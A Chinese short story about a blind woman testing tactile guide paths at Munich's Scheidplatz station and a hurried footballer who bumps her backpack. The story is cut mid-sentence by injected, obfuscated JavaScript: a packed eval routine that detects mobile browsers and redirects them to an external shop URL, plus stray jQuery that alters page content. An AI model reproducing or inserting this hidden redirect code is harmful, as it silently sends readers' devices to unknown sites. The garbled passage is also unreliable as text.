周三下午六点过五分，Scheidplatz 站台的换乘人流达到了晚高峰前的第一个峰值。多贝挎着她的 “雅恩”，继续在U2与U3之间的站台上进行着她的基础层测试。
她刚刚用盲杖确认了一段导向条的终点，正准备在平板上记录数据。突然，一股急促的气流从她身侧掠过，紧接着，“雅恩” 传来一阵轻微的、被外力撞到的晃动，连带让她的身体也轻轻一晃。
“哎呀！” 她下意识地轻声惊呼，但立刻稳住了重心。
“Entschuldigung.（抱歉。）” 一个年轻的男声扔下一句简短的道歉，脚步声没有丝毫停顿，迅速汇入了前方嘈杂的人流，远去了。
多贝眨了眨看不见的眼睛，伸手安抚性地拍了拍 “雅恩” 毛茸茸的脑袋。“Keine Angst, Jann.（别怕，雅恩。）” 她对着背包低声说，嘴角却带着点无奈的、自我解嘲的笑意，“只是个小意外。对那些赶时间的人，我们得宽容点。”
对她而言，这只是穿梭人海中一次微小的、几乎算不得碰撞的接触。在城市交通枢纽站做测试，被行色匆匆的路人轻微擦碰，简直是家常便饭。
她的注意力很快回到平板电脑的记录和即将进行的下一条路径测试上。雅恩替她承担了这次小小的“撞击”，而她，还有更重要的工作。
———
周三下午，训练结束的拉姆快步走进 Scheidplatz 车站。他脑子里还回放着训练赛中几个需要改进的传球选择，脚步不自觉地比平时更快一些。他想赶上这趟即将进站的 U3早点回家，他不想把时间浪费在等下一班车上。
U2/U3 的换乘平台上人流如织。他敏捷地侧身越过几个步速缓慢的行人。就在他几乎是跑着穿过站台中央区域时，肩膀上的运动包 “咚” 地一声，轻轻蹭在了一个颜色极其扎眼的亮蓝紫色的背包上。那背包造型怪异，像个长毛的卡通怪物。
“Entschuldigung
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326733|199126||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
.（抱歉。）” 他条件反射般地丢出一句道歉，脚步没有丝毫停滞。他的全部焦点都在前方那辆已经停稳、正在上客的U3列车上。他熟练地侧身让开人流，在车门即将关闭的提示音响起前跨入了车厢。
找到靠边的位置站定，随着列车启动，窗外站台的灯光流线般向后滑去，他紧绷的神经才稍微放松。刚才那个小小的碰撞这时才后知后觉地跳回脑海。
“刚刚那个包……最近好像见过类似的？” 他漫不经心地想着，“现在街上背这种醒目玩意儿的人好像变多了。”
他的手指无意识地搭在自己肩上那个除了拜仁队徽别无装饰的黑色运动背包上。实用、不显眼、能装下所有东西，这就够了。“这是什么流行？” 他这么想着，然后便将这个念头抛之脑后。下一刻，他的思绪已经飘向了晚餐后需要看的比赛录像——教练指出他上周在防守选位上还有两处可以优化。
对他而言，这只是一天结束前，归家路上一个被迅速遗忘的微小摩擦。